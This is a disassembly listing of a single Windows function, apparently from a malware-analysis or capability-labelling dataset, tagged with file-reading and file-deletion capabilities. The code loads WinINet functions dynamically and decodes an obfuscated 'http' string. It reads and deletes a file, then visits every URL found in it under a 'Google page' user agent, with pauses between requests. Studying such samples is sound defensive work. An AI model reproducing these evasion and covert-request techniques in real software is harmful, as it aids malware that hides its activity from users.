Function at 0x4016b0
Capabilities:
Delete file
Get file size
Read file on windows

Disassembly:
sub esp, 0x224
push ebx
push ebp
push esi
push edi
mov ebp, ecx
push str.Wininet.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
test esi, esi
jne 0x4016da
push str.Wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetOpenA
push esi
call edi
push str.InternetOpenUrlA
push esi
mov dword [esp + 0x28], eax
call edi
push str.InternetCloseHandle
push esi
mov dword [esp + 0x24], eax
call edi
mov ebx, eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x2d]
mov byte [esp + 0x2c], 0
push 0x406a00
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x30]
push 0x104
rep stosd dword es:[edi], eax
lea eax, [esp + 0x34]
mov ecx, ebp
push eax
call fcn.00402d70
mov edx, dword [esp + 0x238]
lea ecx, [esp + 0x2c]
push 1
push ecx
push edx
mov ecx, ebp
call fcn.004021b0
test al, al
jne 0x401763
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x224
ret 4
push 0
push 0x80
push 3
push 0
push 2
lea eax, [esp + 0x40]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401796
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x224
ret 4
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
lea edi, [eax + 1]
mov dword [esp + 0x18], eax
push edi
call sub.MFC42.DLL_operatornew
mov ecx, edi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
mov dword [esp + 0x2c], ebp
rep stosb byte es:[edi], al
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0x28]
push eax
push ecx
push ebp
push esi
mov dword [esp + 0x38], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [str.iuuq_00]
mov ecx, dword [0x4069fc]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ecx
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
xor edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x401839
mov cl, byte [esp + edx + 0x10]
lea edi, [esp + 0x10]
dec cl
xor eax, eax
mov byte [esp + edx + 0x10], cl
or ecx, 0xffffffff
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x40181c
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
mov esi, dword [sym.imp.MSVCRT.dll__strnicmp]
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [esp + 0x10]
push ecx
push edx
push ebp
call esi
add esp, 0xc
test eax, eax
je 0x40189e
mov eax, dword [esp + 0x18]
push eax
push ebp
call fcn.00402330
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x1c]
push ecx
push ebp
call esi
add esp, 0x14
test eax, eax
je 0x40189e
push ebp
call sub.MFC42.DLL_operatordelete
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x224
ret 4
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x131]
mov byte [esp + 0x130], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x10]
push edx
push ebp
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_strstr]
mov esi, eax
add esp, 8
test esi, esi
je 0x4019c0
lea eax, [esp + 0x10]
lea edi, [esp + 0x10]
push eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
add ecx, esi
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x401924
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, esi
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x130]
sub ecx, edx
push ecx
push esi
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
jmp 0x40194a
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x130]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
push 0
push 0
push 0
push str.Google_page
call dword [esp + 0x34]
push 0
push 0x80000000
push 0
lea ecx, [esp + 0x13c]
mov esi, eax
push 0
push ecx
push esi
call dword [esp + 0x34]
push eax
call ebx
push esi
call ebx
lea edi, [esp + 0x130]
or ecx, 0xffffffff
xor eax, eax
push 0x2710
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x134]
add ebp, ecx
mov ecx, 0x41
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0x10]
push edx
push ebp
call dword [sym.imp.MSVCRT.dll_strstr]
mov esi, eax
add esp, 8
test esi, esi
jne 0x4018d2
mov eax, dword [esp + 0x28]
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x224
ret 4